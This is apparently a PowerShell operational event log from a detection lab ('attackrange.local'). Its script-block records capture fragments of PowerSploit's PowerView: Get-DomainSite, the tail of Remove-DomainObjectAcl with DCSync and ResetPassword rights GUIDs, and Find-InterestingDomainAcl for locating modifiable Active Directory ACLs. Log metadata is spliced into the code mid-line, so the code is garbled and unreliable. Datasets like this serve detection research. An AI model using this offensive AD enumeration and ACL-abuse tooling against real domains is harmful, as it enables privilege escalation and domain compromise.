Get-DomainSite *admin* -Domain testlab.local
Returns all sites with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all sites with linked to the specified group policy object.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainSite -Credential $Cred
.OUTPUTS
PowerView.Site
Custom PSObject with translated site property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Site')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715318Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2355 # ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# remove all the specified ACEs from the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Find-InterestingDomainAcl {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
.DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is *-1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal. If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference* information is appended to the output object.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-InterestingDomainAcl
Finds interesting object ACLS in the current domain.
.EXAMPLE
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DomainName', 'Name')]
[String]
$Domain,
[Switch]
$ResolveGUIDs,
[String]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ACLArguments = @{}
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
$ObjectSearcherArguments = @{
'Properties' = 'samaccountname,objectclass'
'Raw' = $True
}
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
# ongoing list of built-up SIDs
$ResolvedSIDs = @{}
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$ACLArguments['Domain'] = $Domain
$ADNameArguments['Domain'] = $Domain
}
Get-DomainObjectAcl @ACLArguments | ForEach-Object {
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
# only process SIDs > 1000
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
else {
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
# "IdentityReferenceDN: $IdentityReferenceDN"
if ($IdentityReferenceDN) {
$IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
# "IdentityReferenceDomain: $IdentityReferenceDomain"
$ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
# "IdentityReferenceDN: $IdentityReferenceDN"
$Object = Get-DomainObject @ObjectSearcherArguments
if ($Object) {
$IdentityReferenceName = $Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match 'computer') {
$IdentityReferenceClass = 'computer'
}
elseif ($Object.Properties.objectclass -match 'group') {
$IdentityReferenceClass = 'group'
}
elseif ($Object.Properties.objectclass -match 'user') {
$IdentityReferenceClass = 'user'
}
else {
$IdentityReferenceClass = $Null
}
# save so we don't look up more than once
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.Securit38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1